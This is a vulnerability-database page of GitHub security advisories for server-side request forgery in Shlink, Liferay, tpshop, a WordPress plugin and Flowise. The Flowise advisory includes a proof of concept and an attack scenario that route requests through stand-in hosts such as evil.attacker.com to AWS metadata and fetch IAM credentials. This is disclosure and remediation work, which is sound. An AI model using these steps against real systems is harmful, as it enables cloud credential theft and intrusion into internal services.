Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6072 vulnerabilities reference this CWE, most recent first.

GHSA-C6G4-PFHG-GVMP

Vulnerability from github – Published: 2026-08-03 21:31 – Updated: 2026-08-03 21:31
VLAI
Details

Shlink contains a server-side request forgery vulnerability that allows authenticated API key holders to cause the server to issue arbitrary HTTP GET requests by supplying a crafted long URL during short URL creation with title auto-resolution enabled. Attackers can submit URLs pointing to public hosts that redirect to internal targets, including loopback addresses, link-local ranges, and cloud metadata endpoints such as 169.254.169.254, to exfiltrate internal service information via the HTML title element returned in the short URL creation response.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-18736"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T21:16:38Z",
    "severity": "MODERATE"
  },
  "details": "Shlink contains a server-side request forgery vulnerability that allows authenticated API key holders to cause the server to issue arbitrary HTTP GET requests by supplying a crafted long URL during short URL creation with title auto-resolution enabled. Attackers can submit URLs pointing to public hosts that redirect to internal targets, including loopback addresses, link-local ranges, and cloud metadata endpoints such as 169.254.169.254, to exfiltrate internal service information via the HTML title element returned in the short URL creation response.",
  "id": "GHSA-c6g4-pfhg-gvmp",
  "modified": "2026-08-03T21:31:38Z",
  "published": "2026-08-03T21:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18736"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shlinkio/shlink"
    },
    {
      "type": "WEB",
      "url": "https://github.com/theopaid/Server-side-request-forgery-through-short-URL-title-resolution-shlink-"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/shlink-server-side-request-forgery-via-short-url-title-auto-resolution"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-C6G5-G6R7-Q4J6

Vulnerability from github – Published: 2025-08-09 06:30 – Updated: 2025-08-12 00:13
VLAI
Summary
Liferay Portal and Liferay DXP vulnerable to Server-Side Request Forgery
Details

An SSRF vulnerability in FreeMarker templates in Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q1.0 through 2025.Q1.5, 2024.Q4.0 through 2024.Q4.7, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.15, and 7.4 GA through update 92 allows template editors to bypass access validations via crafted URLs.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.portal.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.4.0"
            },
            {
              "last_affected": "7.4.3.132"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2025.Q1.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2025.Q1.0"
            },
            {
              "fixed": "2025.Q1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2024.Q4.0"
            },
            {
              "last_affected": "2024.Q4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2024.Q3.1"
            },
            {
              "last_affected": "2024.Q3.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2024.Q2.0"
            },
            {
              "last_affected": "2024.Q2.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2024.Q1.15"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2024.Q1.0"
            },
            {
              "fixed": "2024.Q1.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "7.4.13.u92"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-4655"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-12T00:13:20Z",
    "nvd_published_at": "2025-08-09T05:15:29Z",
    "severity": "MODERATE"
  },
  "details": "An SSRF vulnerability in FreeMarker templates in Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q1.0 through 2025.Q1.5, 2024.Q4.0 through 2024.Q4.7, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.15, and 7.4 GA through update 92 allows template editors to bypass access validations via crafted URLs.",
  "id": "GHSA-c6g5-g6r7-q4j6",
  "modified": "2025-08-12T00:13:20Z",
  "published": "2025-08-09T06:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4655"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/liferay/liferay-portal"
    },
    {
      "type": "WEB",
      "url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-4655"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Liferay Portal and Liferay DXP vulnerable to Server-Side Request Forgery"
}

GHSA-C6W3-G6H7-FP2F

Vulnerability from github – Published: 2022-05-14 03:29 – Updated: 2022-05-14 03:29
VLAI
Details

SSRF (Server Side Request Forgery) in tpshop 2.0.5 and 2.0.6 allows remote attackers to obtain sensitive information, attack intranet hosts, or possibly trigger remote command execution via the plugins/payment/weixin/lib/WxPay.tedatac.php fBill parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-16614"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-03-30T21:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "SSRF (Server Side Request Forgery) in tpshop 2.0.5 and 2.0.6 allows remote attackers to obtain sensitive information, attack intranet hosts, or possibly trigger remote command execution via the plugins/payment/weixin/lib/WxPay.tedatac.php fBill parameter.",
  "id": "GHSA-c6w3-g6h7-fp2f",
  "modified": "2022-05-14T03:29:54Z",
  "published": "2022-05-14T03:29:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16614"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2018/Mar/77"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C6X3-V7HQ-94WF

Vulnerability from github – Published: 2025-01-26 09:30 – Updated: 2025-02-04 21:32
VLAI
Details

The Multiple Page Generator Plugin – MPG plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.0.5 via the 'mpg_download_file_by_link' function. This makes it possible for authenticated attackers, with editor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-10705"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-26T07:15:07Z",
    "severity": "MODERATE"
  },
  "details": "The Multiple Page Generator Plugin \u2013 MPG plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.0.5 via the \u0027mpg_download_file_by_link\u0027 function. This makes it possible for authenticated attackers, with editor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-c6x3-v7hq-94wf",
  "modified": "2025-02-04T21:32:27Z",
  "published": "2025-01-26T09:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10705"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3205550/multiple-pages-generator-by-porthas"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7b3446e5-ca01-4468-927a-86e951e662ab?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C6XH-WV4J-PPV5

Vulnerability from github – Published: 2026-08-04 15:51 – Updated: 2026-08-04 15:51
VLAI
Summary
Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses
Details

Summary

Flowise's HTTP security module (httpSecurity.ts) fails to normalize IPv4-mapped IPv6 addresses (e.g., ::ffff:127.0.0.1, ::ffff:169.254.169.254) before checking them against the deny list. Due to an ipaddr.js kind mismatch (ipv6 vs ipv4), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to ::ffff:<target_ipv4>, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost.

CWE

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-1389: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check)

Affected Versions

  • All versions up to and including v3.1.1 (latest main branch as of 2026-04-03)
  • This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+)

Details

Root Cause

The isDeniedIP() function in packages/components/src/httpSecurity.ts checks IP addresses against a deny list using ipaddr.js. The critical flaw is in the kind() comparison:

// httpSecurity.ts - isDeniedIP()
export function isDeniedIP(ip: string, denyList: string[]): void {
    const parsedIp = ipaddr.parse(ip);
    for (const entry of denyList) {
        if (entry.includes('/')) {
            try {
                const [range, _] = entry.split('/')
                const parsedRange = ipaddr.parse(range)
                // ⚠️ BUG: IPv4-mapped IPv6 has kind='ipv6', IPv4 CIDR has kind='ipv4'
                // This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry
                if (parsedIp.kind() === parsedRange.kind()) {  // <-- BYPASS HERE
                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {
                        throw new Error('Access to this host is denied by policy.')
                    }
                }
            } catch (error) {
                throw new Error(`isDeniedIP: ${error}`)
            }
        } else if (ip === entry) {
            throw new Error('Access to this host is denied by policy.')
        }
    }
}

When the resolved IP is an IPv4-mapped IPv6 address like ::ffff:169.254.169.254: - ipaddr.parse('::ffff:169.254.169.254').kind() returns 'ipv6' - ipaddr.parse('169.254.169.254').kind() (from deny list entry) returns 'ipv4' - 'ipv6' === 'ipv4' is false → CIDR check is completely skipped

The IPv6 deny list entries (::1, fc00::/7, fe80::/10, ff00::/8) do NOT cover the ::ffff:0:0/96 range where IPv4-mapped addresses live, so these addresses bypass ALL deny rules.

Attack Vector

  1. Attacker registers a domain (e.g., evil.attacker.com) and sets a AAAA DNS record to ::ffff:169.254.169.254 (AWS metadata) or ::ffff:10.0.0.1 (internal service)
  2. Attacker configures a chatflow HTTP Node (or API Chain, Document Loader, etc.) to make a request to http://evil.attacker.com/latest/meta-data/
  3. resolveAndValidate() calls dns.lookup('evil.attacker.com', { all: true }) which returns [{ address: '::ffff:169.254.169.254', family: 6 }]
  4. isDeniedIP('::ffff:169.254.169.254', denyList) is called — all IPv4 CIDR entries are skipped due to kind mismatch
  5. Request is sent to 169.254.169.254 (AWS metadata service) via the IPv4-mapped IPv6 address

Affected Endpoints

All code paths using the SSRF protection functions are vulnerable:

Function Usage Count Affected Components
secureAxiosRequest() 8+ HTTP Node (Agentflow), ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank
secureFetch() 5+ ApiChain, Custom Function sandbox, Jira tool, MCP tool
checkDenyList() 3+ MCP Server URL validation, fetch-links service, web scraping

Proof of Concept

// Verify the bypass using ipaddr.js (same library Flowise uses)
const ipaddr = require('ipaddr.js');

const denyList = [
    '169.254.169.254/16',  // Cloud metadata (covered by 169.254.0.0/16 in Flowise)
    '10.0.0.0/8',          // RFC1918 (covered by 10.0.0.0/8 in Flowise)
    '127.0.0.0/8',         // Loopback (covered by 127.0.0.0/8 in Flowise)
    '172.16.0.0/12',       // RFC1918 (covered by 172.16.0.0/12 in Flowise)
    '192.168.0.0/16',      // RFC1918 (covered by 192.168.0.0/16 in Flowise)
];

// Normal IPv4 - correctly blocked
const normalIP = ipaddr.parse('169.254.169.254');
console.log('169.254.169.254 kind:', normalIP.kind()); // 'ipv4'

// IPv4-mapped IPv6 - bypasses ALL checks
const mappedIP = ipaddr.parse('::ffff:169.254.169.254');
console.log('::ffff:169.254.169.254 kind:', mappedIP.kind()); // 'ipv6'
console.log('Is IPv4Mapped?:', mappedIP.isIPv4MappedAddress()); // true
console.log('Maps to:', mappedIP.toIPv4Address().toString()); // '169.254.169.254'

// Demonstrate the bypass
for (const entry of denyList) {
    const [range] = entry.split('/');
    const parsedRange = ipaddr.parse(range);
    const kindMatch = mappedIP.kind() === parsedRange.kind();
    console.log(`${entry}: kind match = ${kindMatch}`); // ALL false!
}
// Result: ALL deny list entries are skipped

Attack Scenario (AWS Cloud):

# 1. Attacker sets up DNS: evil.com AAAA -> ::ffff:a9fe:a9fe (169.254.169.254)
# 2. Attacker creates a chatflow with HTTP Node pointing to:
#    URL: http://evil.com/latest/meta-data/iam/security-credentials/
# 3. Flowise resolves evil.com -> ::ffff:169.254.169.254
# 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch)
# 5. Request reaches AWS IMDS -> Returns IAM role credentials

Verified PoC Output

The following output was produced by running the PoC script (poc_ssrf_bypass.js) against ipaddr.js@2.2.0 (the exact version used by Flowise ^2.2.0), replicating the isDeniedIP() logic:

Step 1: kind() mismatch confirmed

169.254.169.254                kind=ipv4  isIPv4Mapped=false
::ffff:169.254.169.254         kind=ipv6  isIPv4Mapped=true  → maps to: 169.254.169.254
127.0.0.1                      kind=ipv4  isIPv4Mapped=false
::ffff:127.0.0.1               kind=ipv6  isIPv4Mapped=true  → maps to: 127.0.0.1
10.0.0.1                       kind=ipv4  isIPv4Mapped=false
::ffff:10.0.0.1                kind=ipv6  isIPv4Mapped=true  → maps to: 10.0.0.1
192.168.1.1                    kind=ipv4  isIPv4Mapped=false
::ffff:192.168.1.1             kind=ipv6  isIPv4Mapped=true  → maps to: 192.168.1.1
172.16.0.1                     kind=ipv4  isIPv4Mapped=false
::ffff:172.16.0.1              kind=ipv6  isIPv4Mapped=true  → maps to: 172.16.0.1

Step 2: Normal IPv4 — correctly blocked ✅

169.254.169.254           → 🔒 BLOCKED (matched: 169.254.169.254)
127.0.0.1                 → 🔒 BLOCKED (matched: 127.0.0.0/8)
10.0.0.1                  → 🔒 BLOCKED (matched: 10.0.0.0/8)
192.168.1.1               → 🔒 BLOCKED (matched: 192.168.0.0/16)
172.16.0.1                → 🔒 BLOCKED (matched: 172.16.0.0/12)

Step 3: IPv4-Mapped IPv6 — ALL bypass deny list ⚠️

::ffff:169.254.169.254         → ⚠️ ALLOWED (BYPASS!)  (real target: 169.254.169.254)
::ffff:127.0.0.1               → ⚠️ ALLOWED (BYPASS!)  (real target: 127.0.0.1)
::ffff:10.0.0.1                → ⚠️ ALLOWED (BYPASS!)  (real target: 10.0.0.1)
::ffff:192.168.1.1             → ⚠️ ALLOWED (BYPASS!)  (real target: 192.168.1.1)
::ffff:172.16.0.1              → ⚠️ ALLOWED (BYPASS!)  (real target: 172.16.0.1)

Step 4: Root cause — kind mismatch skips CIDR check

Checking: ::ffff:169.254.169.254 against deny entry 169.254.0.0/16
parsedIp.kind()    = 'ipv6'
parsedRange.kind() = 'ipv4'
kind match?        = false ← CIDR check is SKIPPED!
But the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16)

Step 5: Proposed fix — all bypass addresses now blocked ✅

::ffff:169.254.169.254         → 🔒 BLOCKED (FIXED!) (matched: 169.254.0.0/16)
::ffff:127.0.0.1               → 🔒 BLOCKED (FIXED!) (matched: 127.0.0.0/8)
::ffff:10.0.0.1                → 🔒 BLOCKED (FIXED!) (matched: 10.0.0.0/8)
::ffff:192.168.1.1             → 🔒 BLOCKED (FIXED!) (matched: 192.168.0.0/16)
::ffff:172.16.0.1              → 🔒 BLOCKED (FIXED!) (matched: 172.16.0.0/12)

Step 6: Attack simulation

Vulnerable isDeniedIP:  ⚠️ ALLOWED → Request reaches AWS metadata!
Fixed isDeniedIP:       🔒 BLOCKED → Attack prevented!

Verification environment: Node.js v22.13.1, ipaddr.js@2.2.0 (matches Flowise dependency ^2.2.0) PoC script: poc_ssrf_bypass.js

Impact

Target Impact Severity
AWS/GCP/Azure Metadata (169.254.169.254) Steal IAM credentials, service account tokens Critical
Internal services (10.x.x.x, 172.16.x.x, 192.168.x.x) Access internal APIs, databases, admin panels High
Localhost (127.0.0.1) Access Flowise's own API with elevated privileges, access co-located services High

This bypass renders the SSRF protection added in v3.0.13 (CVE-2026-31829 fix) completely ineffective against IPv4-mapped IPv6 DNS resolution.

Remediation

Option 1: Normalize IPv4-Mapped IPv6 Before Checking (Recommended)

export function isDeniedIP(ip: string, denyList: string[]): void {
    let parsedIp = ipaddr.parse(ip);

    // ✅ FIX: Normalize IPv4-mapped IPv6 to IPv4 before checking
    if (parsedIp.kind() === 'ipv6' && parsedIp.isIPv4MappedAddress()) {
        parsedIp = parsedIp.toIPv4Address();
    }

    for (const entry of denyList) {
        if (entry.includes('/')) {
            try {
                const [range, _] = entry.split('/');
                let parsedRange = ipaddr.parse(range);
                // Also normalize deny list entries
                if (parsedRange.kind() === 'ipv6' && parsedRange.isIPv4MappedAddress()) {
                    parsedRange = parsedRange.toIPv4Address();
                }
                if (parsedIp.kind() === parsedRange.kind()) {
                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {
                        throw new Error('Access to this host is denied by policy.');
                    }
                }
            } catch (error) {
                throw new Error(`isDeniedIP: ${error}`);
            }
        } else if (ip === entry) {
            throw new Error('Access to this host is denied by policy.');
        }
    }
}

Option 2: Add ::ffff:0:0/96 to Deny List (Defense-in-depth)

Additionally, add the IPv4-mapped IPv6 prefix to the deny list to block ALL mapped addresses:

const DEFAULT_DENY_LIST = [
    // ... existing entries ...
    '::ffff:0:0/96',        // Block ALL IPv4-mapped IPv6 addresses
    '::ffff:127.0.0.1/128', // Explicit loopback mapped
    '::ffff:169.254.0.0/112', // Explicit link-local mapped  
    '::ffff:10.0.0.0/104',  // Explicit RFC1918 Class A mapped
    '::ffff:172.16.0.0/108', // Explicit RFC1918 Class B mapped
    '::ffff:192.168.0.0/112', // Explicit RFC1918 Class C mapped
];

Option 3: Also normalize in resolveAndValidate() (Belt and suspenders)

async function resolveAndValidate(url: string): Promise<ResolvedTarget> {
    // ... existing code ...
    const records = await dns.lookup(hostname, { all: true });
    for (const r of records) {
        let address = r.address;
        // Normalize IPv4-mapped IPv6 for deny list checking
        if (ipaddr.isValid(address)) {
            const parsed = ipaddr.parse(address);
            if (parsed.kind() === 'ipv6' && parsed.isIPv4MappedAddress()) {
                address = parsed.toIPv4Address().toString();
            }
        }
        isDeniedIP(address, denyList);
    }
    // ... rest of code ...
}
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69257"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1389",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T15:51:58Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nFlowise\u0027s HTTP security module (`httpSecurity.ts`) fails to normalize IPv4-mapped IPv6 addresses (e.g., `::ffff:127.0.0.1`, `::ffff:169.254.169.254`) before checking them against the deny list. Due to an `ipaddr.js` kind mismatch (`ipv6` vs `ipv4`), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to `::ffff:\u003ctarget_ipv4\u003e`, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost.\n\n## CWE\n\n- **CWE-918**: Server-Side Request Forgery (SSRF)\n- **CWE-1389**: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check)\n\n## Affected Versions\n\n- All versions up to and including **v3.1.1** (latest main branch as of 2026-04-03)\n- This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+)\n\n## Details\n\n### Root Cause\n\nThe `isDeniedIP()` function in `packages/components/src/httpSecurity.ts` checks IP addresses against a deny list using `ipaddr.js`. The critical flaw is in the `kind()` comparison:\n\n```typescript\n// httpSecurity.ts - isDeniedIP()\nexport function isDeniedIP(ip: string, denyList: string[]): void {\n    const parsedIp = ipaddr.parse(ip);\n    for (const entry of denyList) {\n        if (entry.includes(\u0027/\u0027)) {\n            try {\n                const [range, _] = entry.split(\u0027/\u0027)\n                const parsedRange = ipaddr.parse(range)\n                // \u26a0\ufe0f BUG: IPv4-mapped IPv6 has kind=\u0027ipv6\u0027, IPv4 CIDR has kind=\u0027ipv4\u0027\n                // This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry\n                if (parsedIp.kind() === parsedRange.kind()) {  // \u003c-- BYPASS HERE\n                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {\n                        throw new Error(\u0027Access to this host is denied by policy.\u0027)\n                    }\n                }\n            } catch (error) {\n                throw new Error(`isDeniedIP: ${error}`)\n            }\n        } else if (ip === entry) {\n            throw new Error(\u0027Access to this host is denied by policy.\u0027)\n        }\n    }\n}\n```\n\nWhen the resolved IP is an IPv4-mapped IPv6 address like `::ffff:169.254.169.254`:\n- `ipaddr.parse(\u0027::ffff:169.254.169.254\u0027).kind()` returns `\u0027ipv6\u0027`\n- `ipaddr.parse(\u0027169.254.169.254\u0027).kind()` (from deny list entry) returns `\u0027ipv4\u0027`\n- `\u0027ipv6\u0027 === \u0027ipv4\u0027` is `false` \u2192 **CIDR check is completely skipped**\n\nThe IPv6 deny list entries (`::1`, `fc00::/7`, `fe80::/10`, `ff00::/8`) do NOT cover the `::ffff:0:0/96` range where IPv4-mapped addresses live, so these addresses bypass ALL deny rules.\n\n### Attack Vector\n\n1. Attacker registers a domain (e.g., `evil.attacker.com`) and sets a **AAAA DNS record** to `::ffff:169.254.169.254` (AWS metadata) or `::ffff:10.0.0.1` (internal service)\n2. Attacker configures a chatflow HTTP Node (or API Chain, Document Loader, etc.) to make a request to `http://evil.attacker.com/latest/meta-data/`\n3. `resolveAndValidate()` calls `dns.lookup(\u0027evil.attacker.com\u0027, { all: true })` which returns `[{ address: \u0027::ffff:169.254.169.254\u0027, family: 6 }]`\n4. `isDeniedIP(\u0027::ffff:169.254.169.254\u0027, denyList)` is called \u2014 all IPv4 CIDR entries are skipped due to kind mismatch\n5. Request is sent to `169.254.169.254` (AWS metadata service) via the IPv4-mapped IPv6 address\n\n### Affected Endpoints\n\nAll code paths using the SSRF protection functions are vulnerable:\n\n| Function | Usage Count | Affected Components |\n|----------|:-----------:|-------------------|\n| `secureAxiosRequest()` | 8+ | HTTP Node (Agentflow), ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank |\n| `secureFetch()` | 5+ | ApiChain, Custom Function sandbox, Jira tool, MCP tool |\n| `checkDenyList()` | 3+ | MCP Server URL validation, fetch-links service, web scraping |\n\n### Proof of Concept\n\n```javascript\n// Verify the bypass using ipaddr.js (same library Flowise uses)\nconst ipaddr = require(\u0027ipaddr.js\u0027);\n\nconst denyList = [\n    \u0027169.254.169.254/16\u0027,  // Cloud metadata (covered by 169.254.0.0/16 in Flowise)\n    \u002710.0.0.0/8\u0027,          // RFC1918 (covered by 10.0.0.0/8 in Flowise)\n    \u0027127.0.0.0/8\u0027,         // Loopback (covered by 127.0.0.0/8 in Flowise)\n    \u0027172.16.0.0/12\u0027,       // RFC1918 (covered by 172.16.0.0/12 in Flowise)\n    \u0027192.168.0.0/16\u0027,      // RFC1918 (covered by 192.168.0.0/16 in Flowise)\n];\n\n// Normal IPv4 - correctly blocked\nconst normalIP = ipaddr.parse(\u0027169.254.169.254\u0027);\nconsole.log(\u0027169.254.169.254 kind:\u0027, normalIP.kind()); // \u0027ipv4\u0027\n\n// IPv4-mapped IPv6 - bypasses ALL checks\nconst mappedIP = ipaddr.parse(\u0027::ffff:169.254.169.254\u0027);\nconsole.log(\u0027::ffff:169.254.169.254 kind:\u0027, mappedIP.kind()); // \u0027ipv6\u0027\nconsole.log(\u0027Is IPv4Mapped?:\u0027, mappedIP.isIPv4MappedAddress()); // true\nconsole.log(\u0027Maps to:\u0027, mappedIP.toIPv4Address().toString()); // \u0027169.254.169.254\u0027\n\n// Demonstrate the bypass\nfor (const entry of denyList) {\n    const [range] = entry.split(\u0027/\u0027);\n    const parsedRange = ipaddr.parse(range);\n    const kindMatch = mappedIP.kind() === parsedRange.kind();\n    console.log(`${entry}: kind match = ${kindMatch}`); // ALL false!\n}\n// Result: ALL deny list entries are skipped\n```\n\n**Attack Scenario (AWS Cloud):**\n```bash\n# 1. Attacker sets up DNS: evil.com AAAA -\u003e ::ffff:a9fe:a9fe (169.254.169.254)\n# 2. Attacker creates a chatflow with HTTP Node pointing to:\n#    URL: http://evil.com/latest/meta-data/iam/security-credentials/\n# 3. Flowise resolves evil.com -\u003e ::ffff:169.254.169.254\n# 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch)\n# 5. Request reaches AWS IMDS -\u003e Returns IAM role credentials\n```\n\n### Verified PoC Output\n\nThe following output was produced by running the PoC script (`poc_ssrf_bypass.js`) against `ipaddr.js@2.2.0` (the exact version used by Flowise `^2.2.0`), replicating the `isDeniedIP()` logic:\n\n**Step 1: kind() mismatch confirmed**\n```\n169.254.169.254                kind=ipv4  isIPv4Mapped=false\n::ffff:169.254.169.254         kind=ipv6  isIPv4Mapped=true  \u2192 maps to: 169.254.169.254\n127.0.0.1                      kind=ipv4  isIPv4Mapped=false\n::ffff:127.0.0.1               kind=ipv6  isIPv4Mapped=true  \u2192 maps to: 127.0.0.1\n10.0.0.1                       kind=ipv4  isIPv4Mapped=false\n::ffff:10.0.0.1                kind=ipv6  isIPv4Mapped=true  \u2192 maps to: 10.0.0.1\n192.168.1.1                    kind=ipv4  isIPv4Mapped=false\n::ffff:192.168.1.1             kind=ipv6  isIPv4Mapped=true  \u2192 maps to: 192.168.1.1\n172.16.0.1                     kind=ipv4  isIPv4Mapped=false\n::ffff:172.16.0.1              kind=ipv6  isIPv4Mapped=true  \u2192 maps to: 172.16.0.1\n```\n\n**Step 2: Normal IPv4 \u2014 correctly blocked \u2705**\n```\n169.254.169.254           \u2192 \ud83d\udd12 BLOCKED (matched: 169.254.169.254)\n127.0.0.1                 \u2192 \ud83d\udd12 BLOCKED (matched: 127.0.0.0/8)\n10.0.0.1                  \u2192 \ud83d\udd12 BLOCKED (matched: 10.0.0.0/8)\n192.168.1.1               \u2192 \ud83d\udd12 BLOCKED (matched: 192.168.0.0/16)\n172.16.0.1                \u2192 \ud83d\udd12 BLOCKED (matched: 172.16.0.0/12)\n```\n\n**Step 3: IPv4-Mapped IPv6 \u2014 ALL bypass deny list \u26a0\ufe0f**\n```\n::ffff:169.254.169.254         \u2192 \u26a0\ufe0f ALLOWED (BYPASS!)  (real target: 169.254.169.254)\n::ffff:127.0.0.1               \u2192 \u26a0\ufe0f ALLOWED (BYPASS!)  (real target: 127.0.0.1)\n::ffff:10.0.0.1                \u2192 \u26a0\ufe0f ALLOWED (BYPASS!)  (real target: 10.0.0.1)\n::ffff:192.168.1.1             \u2192 \u26a0\ufe0f ALLOWED (BYPASS!)  (real target: 192.168.1.1)\n::ffff:172.16.0.1              \u2192 \u26a0\ufe0f ALLOWED (BYPASS!)  (real target: 172.16.0.1)\n```\n\n**Step 4: Root cause \u2014 kind mismatch skips CIDR check**\n```\nChecking: ::ffff:169.254.169.254 against deny entry 